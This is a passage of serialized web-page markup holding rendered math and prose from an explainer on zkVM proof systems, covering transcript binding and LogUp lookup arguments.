ren":114688},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114689],{"type":23,"tag":114103,"props":114690,"children":114691},{"d":114105},[],{"type":23,"tag":230,"props":114693,"children":114695},{"className":114694},[6458],[114696],{"type":29,"value":6461},{"type":23,"tag":230,"props":114698,"children":114700},{"className":114699,"style":6465},[6426],[],{"type":23,"tag":230,"props":114702,"children":114704},{"className":114703},[6345,113975],[114705],{"type":23,"tag":230,"props":114706,"children":114708},{"className":114707},[6367],[114709],{"type":23,"tag":230,"props":114710,"children":114712},{"className":114711},[6372],[114713],{"type":23,"tag":230,"props":114714,"children":114716},{"className":114715,"style":114061},[6377],[114717,114729],{"type":23,"tag":230,"props":114718,"children":114719},{"style":113992},[114720,114724],{"type":23,"tag":230,"props":114721,"children":114723},{"className":114722,"style":113997},[6386],[],{"type":23,"tag":230,"props":114725,"children":114727},{"className":114726,"style":94826},[6345,23902],[114728],{"type":29,"value":95645},{"type":23,"tag":230,"props":114730,"children":114731},{"style":113992},[114732,114736],{"type":23,"tag":230,"props":114733,"children":114735},{"className":114734,"style":113997},[6386],[],{"type":23,"tag":230,"props":114737,"children":114739},{"className":114738,"style":114085},[114015],[114740],{"type":23,"tag":230,"props":114741,"children":114743},{"className":114742,"style":114091},[114090],[114744],{"type":23,"tag":36562,"props":114745,"children":114746},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114747],{"type":23,"tag":114103,"props":114748,"children":114749},{"d":114105},[],{"type":23,"tag":230,"props":114751,"children":114753},{"className":114752},[24053],[114754],{"type":29,"value":5467},{"type":29,"value":114756}," are constants, so ",{"type":23,"tag":71,"props":114758,"children":114760},{"className":114759},[6318,6319],[114761],{"type":23,"tag":230,"props":114762,"children":114764},{"className":114763},[6324],[114765],{"type":23,"tag":230,"props":114766,"children":114768},{"className":114767,"ariaHidden":1726},[6329],[114769],{"type":23,"tag":230,"props":114770,"children":114772},{"className":114771},[6334],[114773,114777,114837,114842,114891],{"type":23,"tag":230,"props":114774,"children":114776},{"className":114775,"style":113970},[6339],[],{"type":23,"tag":230,"props":114778,"children":114780},{"className":114779},[6345,113975],[114781],{"type":23,"tag":230,"props":114782,"children":114784},{"className":114783},[6367,23956],[114785,114826],{"type":23,"tag":230,"props":114786,"children":114788},{"className":114787},[6372],[114789,114821],{"type":23,"tag":230,"props":114790,"children":114792},{"className":114791,"style":113988},[6377],[114793,114805],{"type":23,"tag":230,"props":114794,"children":114795},{"style":113992},[114796,114800],{"type":23,"tag":230,"props":114797,"children":114799},{"className":114798,"style":113997},[6386],[],{"type":23,"tag":230,"props":114801,"children":114803},{"className":114802,"style":97180},[6345,23902],[114804],{"type":29,"value":35377},{"type":23,"tag":230,"props":114806,"children":114807},{"style":114006},[114808,114812],{"type":23,"tag":230,"props":114809,"children":114811},{"className":114810,"style":113997},[6386],[],{"type":23,"tag":230,"props":114813,"children":114815},{"className":114814,"style":114016},[114015],[114816],{"type":23,"tag":230,"props":114817,"children":114819},{"className":114818},[6345],[114820],{"type":29,"value":114023},{"type":23,"tag":230,"props":114822,"children":114824},{"className":114823},[24059],[114825],{"type":29,"value":24062},{"type":23,"tag":230,"props":114827,"children":114829},{"className":114828},[6372],[114830],{"type":23,"tag":230,"props":114831,"children":114833},{"className":114832,"style":114036},[6377],[114834],{"type":23,"tag":230,"props":114835,"children":114836},{},[],{"type":23,"tag":230,"props":114838,"children":114840},{"className":114839},[24031],[114841],{"type":29,"value":302},{"type":23,"tag":230,"props":114843,"children":114845},{"className":114844},[6345,113975],[114846],{"type":23,"tag":230,"props":114847,"children":114849},{"className":114848},[6367],[114850],{"type":23,"tag":230,"props":114851,"children":114853},{"className":114852},[6372],[114854],{"type":23,"tag":230,"props":114855,"children":114857},{"className":114856,"style":114061},[6377],[114858,114870],{"type":23,"tag":230,"props":114859,"children":114860},{"style":113992},[114861,114865],{"type":23,"tag":230,"props":114862,"children":114864},{"className":114863,"style":113997},[6386],[],{"type":23,"tag":230,"props":114866,"children":114868},{"className":114867,"style":94826},[6345,23902],[114869],{"type":29,"value":95645},{"type":23,"tag":230,"props":114871,"children":114872},{"style":113992},[114873,114877],{"type":23,"tag":230,"props":114874,"children":114876},{"className":114875,"style":113997},[6386],[],{"type":23,"tag":230,"props":114878,"children":114880},{"className":114879,"style":114085},[114015],[114881],{"type":23,"tag":230,"props":114882,"children":114884},{"className":114883,"style":114091},[114090],[114885],{"type":23,"tag":36562,"props":114886,"children":114887},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114888],{"type":23,"tag":114103,"props":114889,"children":114890},{"d":114105},[],{"type":23,"tag":230,"props":114892,"children":114894},{"className":114893},[24053],[114895],{"type":29,"value":5467},{"type":29,"value":114897}," is linear in the table values ",{"type":23,"tag":71,"props":114899,"children":114901},{"className":114900},[6318,6319],[114902],{"type":23,"tag":230,"props":114903,"children":114905},{"className":114904},[6324],[114906],{"type":23,"tag":230,"props":114907,"children":114909},{"className":114908,"ariaHidden":1726},[6329],[114910],{"type":23,"tag":230,"props":114911,"children":114913},{"className":114912},[6334],[114914,114918,114923,114928,114977],{"type":23,"tag":230,"props":114915,"children":114917},{"className":114916,"style":114404},[6339],[],{"type":23,"tag":230,"props":114919,"children":114921},{"className":114920,"style":97180},[6345,23902],[114922],{"type":29,"value":35377},{"type":23,"tag":230,"props":114924,"children":114926},{"className":114925},[24031],[114927],{"type":29,"value":302},{"type":23,"tag":230,"props":114929,"children":114931},{"className":114930},[6345,113975],[114932],{"type":23,"tag":230,"props":114933,"children":114935},{"className":114934},[6367],[114936],{"type":23,"tag":230,"props":114937,"children":114939},{"className":114938},[6372],[114940],{"type":23,"tag":230,"props":114941,"children":114943},{"className":114942,"style":114191},[6377],[114944,114956],{"type":23,"tag":230,"props":114945,"children":114946},{"style":113992},[114947,114951],{"type":23,"tag":230,"props":114948,"children":114950},{"className":114949,"style":113997},[6386],[],{"type":23,"tag":230,"props":114952,"children":114954},{"className":114953},[6345,23902],[114955],{"type":29,"value":5561},{"type":23,"tag":230,"props":114957,"children":114958},{"style":114359},[114959,114963],{"type":23,"tag":230,"props":114960,"children":114962},{"className":114961,"style":113997},[6386],[],{"type":23,"tag":230,"props":114964,"children":114966},{"className":114965,"style":114218},[114015],[114967],{"type":23,"tag":230,"props":114968,"children":114970},{"className":114969,"style":114091},[114090],[114971],{"type":23,"tag":36562,"props":114972,"children":114973},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114974],{"type":23,"tag":114103,"props":114975,"children":114976},{"d":114105},[],{"type":23,"tag":230,"props":114978,"children":114980},{"className":114979},[24053],[114981],{"type":29,"value":5467},{"type":29,"value":312},{"type":23,"tag":32,"props":114984,"children":114985},{},[114986,114988,115057],{"type":29,"value":114987},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":71,"props":114989,"children":114991},{"className":114990},[6318,6319],[114992],{"type":23,"tag":230,"props":114993,"children":114995},{"className":114994},[6324],[114996],{"type":23,"tag":230,"props":114997,"children":114999},{"className":114998,"ariaHidden":1726},[6329],[115000],{"type":23,"tag":230,"props":115001,"children":115003},{"className":115002},[6334],[115004,115008],{"type":23,"tag":230,"props":115005,"children":115007},{"className":115006,"style":114061},[6339],[],{"type":23,"tag":230,"props":115009,"children":115011},{"className":115010},[6345,113975],[115012],{"type":23,"tag":230,"props":115013,"children":115015},{"className":115014},[6367],[115016],{"type":23,"tag":230,"props":115017,"children":115019},{"className":115018},[6372],[115020],{"type":23,"tag":230,"props":115021,"children":115023},{"className":115022,"style":114061},[6377],[115024,115036],{"type":23,"tag":230,"props":115025,"children":115026},{"style":113992},[115027,115031],{"type":23,"tag":230,"props":115028,"children":115030},{"className":115029,"style":113997},[6386],[],{"type":23,"tag":230,"props":115032,"children":115034},{"className":115033,"style":94826},[6345,23902],[115035],{"type":29,"value":95645},{"type":23,"tag":230,"props":115037,"children":115038},{"style":113992},[115039,115043],{"type":23,"tag":230,"props":115040,"children":115042},{"className":115041,"style":113997},[6386],[],{"type":23,"tag":230,"props":115044,"children":115046},{"className":115045,"style":114085},[114015],[115047],{"type":23,"tag":230,"props":115048,"children":115050},{"className":115049,"style":114091},[114090],[115051],{"type":23,"tag":36562,"props":115052,"children":115053},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[115054],{"type":23,"tag":114103,"props":115055,"children":115056},{"d":114105},[],{"type":29,"value":115058}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":59,"props":115060,"children":115062},{"id":115061},"lookup-arguments-logup",[115063],{"type":29,"value":115064},"Lookup Arguments (LogUp)",{"type":23,"tag":32,"props":115066,"children":115067},{},[115068],{"type":29,"value":115069},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":98,"props":115071,"children":115072},{},[115073,115129,115134],{"type":23,"tag":102,"props":115074,"children":115075},{},[115076,115078,115128],{"type":29,"value":115077},"Is this byte in range ",{"type":23,"tag":71,"props":115079,"children":115081},{"className":115080},[6318,6319],[115082],{"type":23,"tag":230,"props":115083,"children":115085},{"className":115084},[6324],[115086],{"type":23,"tag":230,"props":115087,"children":115089},{"className":115088,"ariaHidden":1726},[6329],[115090],{"type":23,"tag":230,"props":115091,"children":115093},{"className":115092},[6334],[115094,115098,115103,115108,115113,115117,115123],{"type":23,"tag":230,"props":115095,"children":115097},{"className":115096,"style":6447},[6339],[],{"type":23,"tag":230,"props":115099,"children":115101},{"className":115100},[24031],[115102],{"type":29,"value":6069},{"type":23,"tag":230,"props":115104,"children":115106},{"className":115105},[6345],[115107],{"type":29,"value":6358},{"type":23,"tag":230,"props":115109,"children":115111},{"className":115110},[6458],[115112],{"type":29,"value":6461},{"type":23,"tag":230,"props":115114,"children":115116},{"className":115115,"style":6465},[6426],[],{"type":23,"tag":230,"props":115118,"children":115120},{"className":115119},[6345],[115121],{"type":29,"value":115122},"255",{"type":23,"tag":230,"props":115124,"children":115126},{"className":115125},[24053],[115127],{"type":29,"value":17735},{"type":29,"value":5494},{"type":23,"tag":102,"props":115130,"children":115131},{},[115132],{"type":29,"value":115133},"Does this opcode decode correctly?",{"type":23,"tag":102,"props":115135,"children":115136},{},[115137],{"type":29,"value":115138},"Is this memory access consistent with previous accesses?",{"type":23,"tag":32,"props":115140,"children":115141},{},[115142,115147],{"type":23,"tag":2302,"props":115143,"children":115144},{},[115145],{"type":29,"value":115146},"The naive approach:",{"type":29,"value":115148}," Add constraints for each check. Expensive.",{"type":23,"tag":32,"props":115150,"children":115151},{},[115152,115157,115159,115164],{"type":23,"tag":2302,"props":115153,"children":115154},{},[115155],{"type":29,"value":115156},"The clever approach:",{"type":29,"value":115158}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":2302,"props":115160,"children":115161},{},[115162],{"type":29,"value":115163},"multiset membership",{"type":29,"value":69572},{"type":23,"tag":32,"props":115166,"children":115167},{},[115168,115173],{"type":23,"tag":2302,"props":115169,"children":115170},{},[115171],{"type":29,"value":115172},"LogUp (Logarithmic Derivative):",{"type":29,"value":115174}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":32,"props":115176,"children":115177},{},[115178,115180,115205,115207,115234],{"type":29,"value":115179},"If set ",{"type":23,"tag":71,"props":115181,"children":115183},{"className":115182},[6318,6319],[115184],{"type":23,"tag":230,"props":115185,"children":115187},{"className":115186},[6324],[115188],{"type":23,"tag":230,"props":115189,"children":115191},{"className":115190,"ariaHidden":1726},[6329],[115192],{"type":23,"tag":230,"props":115193,"children":115195},{"className":115194},[6334],[115196,115200],{"type":23,"tag":230,"props":115197,"children":115199},{"className":115198,"style":23897},[6339],[],{"type":23,"tag":230,"props":115201,"children":115203},{"className":115202},[6345,23902],[115204],{"type":29,"value":78546},{"type":29,"value":115206}," should equal set ",{"type":23,"tag":71,"props":115208,"children":115210},{"className":115209},[6318,6319],[115211],{"type":23,"tag":230,"props":115212,"children":115214},{"className":115213},[6324],[115215],{"type":23,"tag":230,"props":115216,"children":115218},{"className":115217,"ariaHidden":1726},[6329],[115219],{"type":23,"tag":230,"props":115220,"children":115222},{"className":115221},[6334],[115223,115227],{"type":23,"tag":230,"props":115224,"children":115226},{"className":115225,"style":23897},[6339],[],{"type":23,"tag":230,"props":115228,"children":115231},{"className":115229,"style":115230},[6345,23902],"margin-right:0.05017em;",[115232],{"type":29,"value":115233},"B",{"type":29,"value":115235}," as multisets:",{"type":23,"tag":32,"props":115237,"children":115238},{},[115239],{"type":23,"tag":71,"props":115240,"children":115242},{"className":115241},[6318,6319],[115243],{"type":23,"tag":230,"props":115244,"children":115246},{"className":115245},[6324],[115247],{"type":23,"tag":230,"props":115248,"children":115250},{"className":115249,"ariaHidden":1726},[6329],[115251,115466],{"type":23,"tag":230,"props":115252,"children":115254},{"className":115253},[6334],[115255,115260,115333,115337,115453,115457,115462],{"type":23,"tag":230,"props":115256,"children":115259},{"className":115257,"style":115258},[6339],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":230,"props":115261,"children":115263},{"className":115262},[23938],[115264,115269],{"type":23,"tag":230,"props":115265,"children":115267},{"className":115266,"style":23945},[23938,23943,23944],[115268],{"type":29,"value":110621},{"type":23,"tag":230,"props":115270,"children":115272},{"className":115271},[6362],[115273],{"type":23,"tag":230,"props":115274,"children":115276},{"className":115275},[6367,23956],[115277,115321],{"type":23,"tag":230,"props":115278,"children":115280},{"className":115279},[6372],[115281,115316],{"type":23,"tag":230,"props":115282,"children":115285},{"className":115283,"style":115284},[6377],"height:0.1786em;",[115286],{"type":23,"tag":230,"props":115287,"children":115288},{"style":23969},[115289,115293],{"type":23,"tag":230,"props":115290,"children":115292},{"className":115291,"style":6387},[6386],[],{"type":23,"tag":230,"props":115294,"children":115296},{"className":115295},[6392,6393,6394,6395],[115297],{"type":23,"tag":230,"props":115298,"children":115300},{"className":115299},[6345,6395],[115301,115306,115311],{"type":23,"tag":230,"props":115302,"children":115304},{"className":115303},[6345,23902,6395],[115305],{"type":29,"value":181},{"type":23,"tag":230,"props":115307,"children":115309},{"className":115308},[6529,6395],[115310],{"type":29,"value":24009},{"type":23,"tag":230,"props":115312,"children":115314},{"className":115313},[6345,23902,6395],[115315],{"type":29,"value":78546},{"type":23,"tag":230,"props":115317,"children":115319},{"className":115318},[24059],[115320],{"type":29,"value":24062},{"type":23,"tag":230,"props":115322,"children":115324},{"className":115323},[6372],[115325],{"type":23,"tag":230,"props":115326,"children":115329},{"className":115327,"style":115328},[6377],"height:0.3271em;",[115330],{"type":23,"tag":230,"props":115331,"children":115332},{},[],{"type":23,"tag":230,"props":115334,"children":115336},{"className":115335,"style":6465},[6426],[],{"type":23,"tag":230,"props":115338,"children":115340},{"className":115339},[6345],[115341,115346,115449],{"type":23,"tag":230,"props":115342,"children":115345},{"className":115343},[24031,115344],"nulldelimiter",[],{"type":23,"tag":230,"props":115347,"children":115350},{"className":115348},[115349],"mfrac",[115351],{"type":23,"tag":230,"props":115352,"children":115354},{"className":115353},[6367,23956],[115355,115437],{"type":23,"tag":230,"props":115356,"children":115358},{"className":115357},[6372],[115359,115432],{"type":23,"tag":230,"props":115360,"children":115363},{"className":115361,"style":115362},[6377],"height:0.8451em;",[115364,115397,115411],{"type":23,"tag":230,"props":115365,"children":115367},{"style":115366},"top:-2.655em;",[115368,115372],{"type":23,"tag":230,"props":115369,"children":115371},{"className":115370,"style":113997},[6386],[],{"type":23,"tag":230,"props":115373,"children":115375},{"className":115374},[6392,6393,6394,6395],[115376],{"type":23,"tag":230,"props":115377,"children":115379},{"className":115378},[6345,6395],[115380,115387,115392],{"type":23,"tag":230,"props":115381,"children":115384},{"className":115382,"style":115383},[6345,23902,6395],"margin-right:0.04398em;",[115385],{"type":29,"value":115386},"z",{"type":23,"tag":230,"props":115388,"children":115390},{"className":115389},[6432,6395],[115391],{"type":29,"value":6406},{"type":23,"tag":230,"props":115393,"children":115395},{"className":115394},[6345,23902,6395],[115396],{"type":29,"value":181},{"type":23,"tag":230,"props":115398,"children":115400},{"style":115399},"top:-3.23em;",[115401,115405],{"type":23,"tag":230,"props":115402,"children":115404},{"className":115403,"style":113997},[6386],[],{"type":23,"tag":230,"props":115406,"children":115410},{"className":115407,"style":115409},[115408],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":230,"props":115412,"children":115414},{"style":115413},"top:-3.394em;",[115415,115419],{"type":23,"tag":230,"props":115416,"children":115418},{"className":115417,"style":113997},[6386],[],{"type":23,"tag":230,"props":115420,"children":115422},{"className":115421},[6392,6393,6394,6395],[115423],{"type":23,"tag":230,"props":115424,"children":115426},{"className":115425},[6345,6395],[115427],{"type":23,"tag":230,"props":115428,"children":115430},{"className":115429},[6345,6395],[115431],{"type":29,"value":6348},{"type":23,"tag":230,"props":115433,"children":115435},{"className":115434},[24059],[115436],{"type":29,"value":24062},{"type":23,"tag":230,"props":115438,"children":115440},{"className":115439},[6372],[115441],{"type":23,"tag":230,"props":115442,"children":115445},{"className":115443,"style":115444},[6377],"height:0.4033em;",[115446],{"type":23,"tag":230,"props":115447,"children":115448},{},[],{"type":23,"tag":230,"props":115450,"children":115452},{"className":115451},[24053,115344],[],{"type":23,"tag":230,"props":115454,"children":115456},{"className":115455,"style":6524},[6426],[],{"type":23,"tag":230,"props":115458,"children":115460},{"className":115459},[6529],[115461],{"type":29,"value":863},{"type":23,"tag":230,"props":115463,"children":115465},{"className":115464,"style":6524},[6426],[],{"type":23,"tag":230,"props":115467,"children":115469},{"className":115468},[6334],[115470,115474,115546,115550],{"type":23,"tag":230,"props":115471,"children":115473},{"className":115472,"style":115258},[6339],[],{"type":23,"tag":230,"props":115475,"children":115477},{"className":115476},[23938],[115478,115483],{"type":23,"tag":230,"props":115479,"children":115481},{"className":115480,"style":23945},[23938,23943,23944],[115482],{"type":29,"value":110621},{"type":23,"tag":230,"props":115484,"children":115486},{"className":115485},[6362],[115487],{"type":23,"tag":230,"props":115488,"children":115490},{"className":115489},[6367,23956],[115491,115535],{"type":23,"tag":230,"props":115492,"children":115494},{"className":115493},[6372],[115495,115530],{"type":23,"tag":230,"props":115496,"children":115499},{"className":115497,"style":115498},[6377],"height:0.1864em;",[115500],{"type":23,"tag":230,"props":115501,"children":115502},{"style":23969},[115503,115507],{"type":23,"tag":230,"props":115504,"children":115506},{"className":115505,"style":6387},[6386],[],{"type":23,"tag":230,"props":115508,"children":115510},{"className":115509},[6392,6393,6394,6395],[115511],{"type":23,"tag":230,"props":115512,"children":115514},{"className":115513},[6345,6395],[115515,115520,115525],{"type":23,"tag":230,"props":115516,"children":115518},{"className":115517},[6345,23902,6395],[115519],{"type":29,"value":5561},{"type":23,"tag":230,"props":115521,"children":115523},{"className":115522},[6529,6395],[115524],{"type":29,"value":24009},{"type":23,"tag":230,"props":115526,"children":115528},{"className":115527,"style":115230},[6345,23902,6395],[115529],{"type":29,"value":115233},{"type":23,"tag":230,"props":115531,"children":115533},{"className":115532},[24059],[115534],{"type":29,"value":24062},{"type":23,"tag":230,"props":115536,"children":115538},{"className":115537},[6372],[115539],{"type":23,"tag":230,"props":115540,"children":115542},{"className":115541,"style":115328},[6377],[115543],{"type":23,"tag":230,"props":115544,"children":115545},{},[],{"type":23,"tag":230,"props":115547,"children":115549},{"className":115548,"style":6465},[6426],[],{"type":23,"tag":230,"props":115551,"children":115553},{"className":115552},[6345],[115554,115558,115651],{"type":23,"tag":230,"props":115555,"children":115557},{"className":115556},[24031,115344],[],{"type":23,"tag":230,"props":115559,"children":115561},{"className":115560},[115349],[115562],{"type":23,"tag":230,"props":115563,"children":115565},{"className":115564},[6367,23956],[115566,115640],{"type":23,"tag":230,"props":115567,"children":115569},{"className":115568},[6372],[115570,115635],{"type":23,"tag":230,"props":115571,"children":115573},{"className":115572,"style":115362},[6377],[115574,115604,115615],{"type":23,"tag":230,"props":115575,"children":115576},{"style":115366},[115577,115581],{"type":23,"tag":230,"props":115578,"children":115580},{"className":115579,"style":113997},[6386],[],{"type":23,"tag":230,"props":115582,"children":115584},{"className":115583},[6392,6393,6394,6395],[115585],{"type":23,"tag":230,"props":115586,"children":115588},{"className":115587},[6345,6395],[115589,115594,115599],{"type":23,"tag":230,"props":115590,"children":115592},{"className":115591,"style":115383},[6345,23902,6395],[115593],{"type":29,"value":115386},{"type":23,"tag":230,"props":115595,"children":115597},{"className":115596},[6432,6395],[115598],{"type":29,"value":6406},{"type":23,"tag":230,"props":115600,"children":115602},{"className":115601},[6345,23902,6395],[115603],{"type":29,"value":5561},{"type":23,"tag":230,"props":115605,"children":115606},{"style":115399},[115607,115611],{"type":23,"tag":230,"props":115608,"children":115610},{"className":115609,"style":113997},[6386],[],{"type":23,"tag":230,"props":115612,"children":115614},{"className":115613,"style":115409},[115408],[],{"type":23,"tag":230,"props":115616,"children":115617},{"style":115413},[115618,115622],{"type":23,"tag":230,"props":115619,"children":115621},{"className":115620,"style":113997},[6386],[],{"type":23,"tag":230,"props":115623,"children":115625},{"className":115624},[6392,6393,6394,6395],[115626],{"type":23,"tag":230,"props":115627,"children":115629},{"className":115628},[6345,6395],[115630],{"type":23,"tag":230,"props":115631,"children":115633},{"className":115632},[6345,6395],[115634],{"type":29,"value":6348},{"type":23,"tag":230,"props":115636,"children":115638},{"className":115637},[24059],[115639],{"type":29,"value":24062},{"type":23,"tag":230,"props":115641,"children":115643},{"className":115642},[6372],[115644],{"type":23,"tag":230,"props":115645,"children":115647},{"className":115646,"style":115444},[6377],[115648],{"type":23,"tag":230,"props":115649,"children":115650},{},[],{"type":23,"tag":230,"props":115652,"children":115654},{"className":115653},[24053,115344],[],{"type":23,"tag":32,"props":115656,"children":115657},{},[115658,115660,115685],{"type":29,"value":115659},"for random challenge ",{"type":23,"tag":71,"props":115661,"children":115663},{"className":115662},[6318,6319],[115664],{"type":23,"tag":230,"props":115665,"children":115667},{"className":115666},[6324],[115668],{"type":23,"tag":230,"props":115669,"children":115671},{"className":115670,"ariaHidden":1726},[6329],[115672],{"type":23,"tag":230,"props":115673,"children":115675},{"className":115674},[6334],[115676,115680],{"type":23,"tag":230,"props":115677,"children":115679},{"className":115678,"style":112667},[6339],[],{"type":23,"tag":230,"props":115681,"children":115683},{"className":115682,"style":115383},[6345,23902],[115684],{"type":29,"value":115386},{"type":29,"value":115686},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":32,"props":115688,"children":115689},{},[115690,115695],{"type":23,"tag":2302,"props":115691,"children":115692},{},[115693],{"type":29,"value":115694},"In zkVMs:",{"type":29,"value":115696}," Different components emit and consume lookup tuples:",{"type":23,"tag":98,"props":115698,"children":115699},{},[115700,115787],{"type":23,"tag":102,"props":115701,"children":115702},{},[115703,115705,115731,115733,115758,115760,115786],{"type":29,"value":115704},"CPU emits: \"I read value ",{"type":23,"tag":71,"props":115706,"children":115708},{"className":115707},[6318,6319],[115709],{"type":23,"tag":230,"props":115710,"children":115712},{"className":115711},[6324],[115713],{"type":23,"tag":230,"props":115714,"children":115716},{"className":115715,"ariaHidden":1726},[6329],[115717],{"type":23,"tag":230,"props":115718,"children":115720},{"className":115719},[6334],[115721,115725],{"type":23,"tag":230,"props":115722,"children":115724},{"className":115723,"style":112667},[6339],[],{"type":23,"tag":230,"props":115726,"children":115728},{"className":115727,"style":95312},[6345,23902],[115729],{"type":29,"value":115730},"v",{"type":29,"value":115732}," from address ",{"type":23,"tag":71,"props":115734,"children":115736},{"className":115735},[6318,6319],[115737],{"type":23,"tag":230,"props":115738,"children":115740},{"className":115739},[6324],[115741],{"type":23,"tag":230,"props":115742,"children":115744},{"className":115743,"ariaHidden":1726},[6329],[115745],{"type":23,"tag":230,"props":115746,"children":115748},{"className":115747},[6334],[115749,115753],{"type":23,"tag":230,"props":115750,"children":115752},{"className":115751,"style":112667},[6339],[],{"type":23,"tag":230,"props":115754,"children":115756},{"className":115755},[6345,23902],[115757],{"type":29,"value":181},{"type":29,"value":115759}," at time ",{"type":23,"tag":71,"props":115761,"children":115763},{"className":115762},[6318,6319],[115764],{"type":23,"tag":230,"props":115765,"children":115767},{"className":115766},[6324],[115768],{"type":23,"tag":230,"props":115769,"children":115771},{"className":115770,"ariaHidden":1726},[6329],[115772],{"type":23,"tag":230,"props":115773,"children":115775},{"className":115774},[6334],[115776,115781],{"type":23,"tag":230,"props":115777,"children":115780},{"className":115778,"style":115779},[6339],"height:0.6151em;",[],{"type":23,"tag":230,"props":115782,"children":115784},{"className":115783},[6345,23902],[115785],{"type":29,"value":24044},{"type":29,"value":22374},{"type":23,"tag":102,"props":115788,"children":115789},{},[115790,115792,115817,115819,115844,115846,115871],{"type":29,"value":115791},"Memory table consumes: \"At time ",{"type":23,"tag":71,"props":115793,"children":115795},{"className":115794},[6318,6319],[115796],{"type":23,"tag":230,"props":115797,"children":115799},{"className":115798},[6324],[115800],{"type":23,"tag":230,"props":115801,"children":115803},{"className":115802,"ariaHidden":1726},[6329],[115804],{"type":23,"tag":230,"props":115805,"children":115807},{"className":115806},[6334],[115808,115812],{"type":23,"tag":230,"props":115809,"children":115811},{"className":115810,"style":115779},[6339],[],{"type":23,"tag":230,"props":115813,"children":115815},{"className":115814},[6345,23902],[115816],{"type":29,"value":24044},{"type":29,"value":115818},", address ",{"type":23,"tag":71,"props":115820,"children":115822},{"className":115821},[6318,6319],[115823],{"type":23,"tag":230,"props":115824,"children":115826},{"className":115825},[6324],[115827],{"type":23,"tag":230,"props":115828,"children":115830},{"className":115829,"ariaHidden":1726},[6329],[115831],{"type":23,"tag":230,"props":115832,"children":115834},{"className":115833},[6334],[115835,115839],{"type":23,"tag":230,"props":115836,"children":115838},{"className":115837,"style":112667},[6339],[],{"type":23,"tag":230,"props":115840,"children":115842},{"className":115841},[6345,23902],[115843],{"type":29,"value":181},{"type":29,"value":115845}," contained ",{"type":23,"tag":71,"props":115847,"children":115849},{"className":115848},[6318,6319],[115850],{"type":23,"tag":230,"props":115851,"children":115853},{"className":115852},[6324],[115854],{"type":23,"tag":230,"props":115855,"children":115857},{"className":115856,"ariaHidden":1726},[6329],[115858],{"type":23,"tag":230,"props":115859,"children":115861},{"className":115860},[6334],[115862,115866],{"type":23,"tag":230,"props":115863,"children":115865},{"className":115864,"style":112667},[6339],[],{"type":23,"tag":230,"props":115867,"children":115869},{"className":115868,"style":95312},[6345,23902],[115870],{"type":29,"value":115730},{"type":29,"value":22374},{"type":23,"tag":32,"props":115873,"children":115874},{},[115875],{"type":29,"value":115876},"If everything balances, the execution is consistent.",{"type":23,"tag":32,"props":115878,"children":115879},{},[115880,115885],{"type":23,"tag":2302,"props":115881,"children":115882},{},[115883],{"type":29,"value":115884},"The claimed_sum:",{"type":29,"value":115886}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":32,"props":115888,"children":115889},{},[115890],{"type":23,"tag":71,"props":115891,"children":115893},{"className":115892},[6318,6319],[115894],{"type":23,"tag":230,"props":115895,"children":115897},{"className":115896},[6324],[115898],{"type":23,"tag":230,"props":115899,"children":115901},{"className":115900,"ariaHidden":1726},[6329],[115902,116000,116251],{"type":23,"tag":230,"props":115903,"children":115905},{"className":115904},[6334],[115906,115910,115920,115925,115987,115991,115996],{"type":23,"tag":230,"props":115907,"children":115909},{"className":115908,"style":96239},[6339],[],{"type":23,"tag":230,"props":115911,"children":115913},{"className":115912},[6345,29],[115914],{"type":23,"tag":230,"props":115915,"children":115917},{"className":115916},[6345],[115918],{"type":29,"value":115919},"claimed",{"type":23,"tag":230,"props":115921,"children":115923},{"className":115922,"style":94826},[6345],[115924],{"type":29,"value":5422},{"type":23,"tag":230,"props":115926,"children":115928},{"className":115927},[6345],[115929,115938],{"type":23,"tag":230,"props":115930,"children":115932},{"className":115931},[6345,29],[115933],{"type":23,"tag":230,"props":115934,"children":115936},{"className":115935},[6345],[115937],{"type":29,"value":78411},{"type":23,"tag":230,"props":115939,"children":115941},{"className":115940},[6362],[115942],{"type":23,"tag":230,"props":115943,"children":115945},{"className":115944},[6367,23956],[115946,115976],{"type":23,"tag":230,"props":115947,"children":115949},{"className":115948},[6372],[115950,115971],{"type":23,"tag":230,"props":115951,"children":115953},{"className":115952,"style":95355},[6377],[115954],{"type":23,"tag":230,"props":115955,"children":115957},{"style":115956},"top:-2.55em;margin-right:0.05em;",[115958,115962],{"type":23,"tag":230,"props":115959,"children":115961},{"className":115960,"style":6387},[6386],[],{"type":23,"tag":230,"props":115963,"children":115965},{"className":115964},[6392,6393,6394,6395],[115966],{"type":23,"tag":230,"props":115967,"children":115969},{"className":115968},[6345,23902,6395],[115970],{"type":29,"value":6074},{"type":23,"tag":230,"props":115972,"children":115974},{"className":115973},[24059],[115975],{"type":29,"value":24062},{"type":23,"tag":230,"props":115977,"children":115979},{"className":115978},[6372],[115980],{"type":23,"tag":230,"props":115981,"children":115983},{"className":115982,"style":94909},[6377],[115984],{"type":23,"tag":230,"props":115985,"children":115986},{},[],{"type":23,"tag":230,"props":115988,"children":115990},{"className":115989,"style":6524},[6426],[],{"type":23,"tag":230,"props":115992,"children":115994},{"className":115993},[6529],[115995],{"type":29,"value":863},{"type":23,"tag":230,"props":115997,"children":115999},{"className":115998,"style":6524},[6426],[],{"type":23,"tag":230,"props":116001,"children":116003},{"className":116002},[6334],[116004,116009,116069,116073,116238,116242,116247],{"type":23,"tag":230,"props":116005,"children":116008},{"className":116006,"style":116007},[6339],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":230,"props":116010,"children":116012},{"className":116011},[23938],[116013,116018],{"type":23,"tag":230,"props":116014,"children":116016},{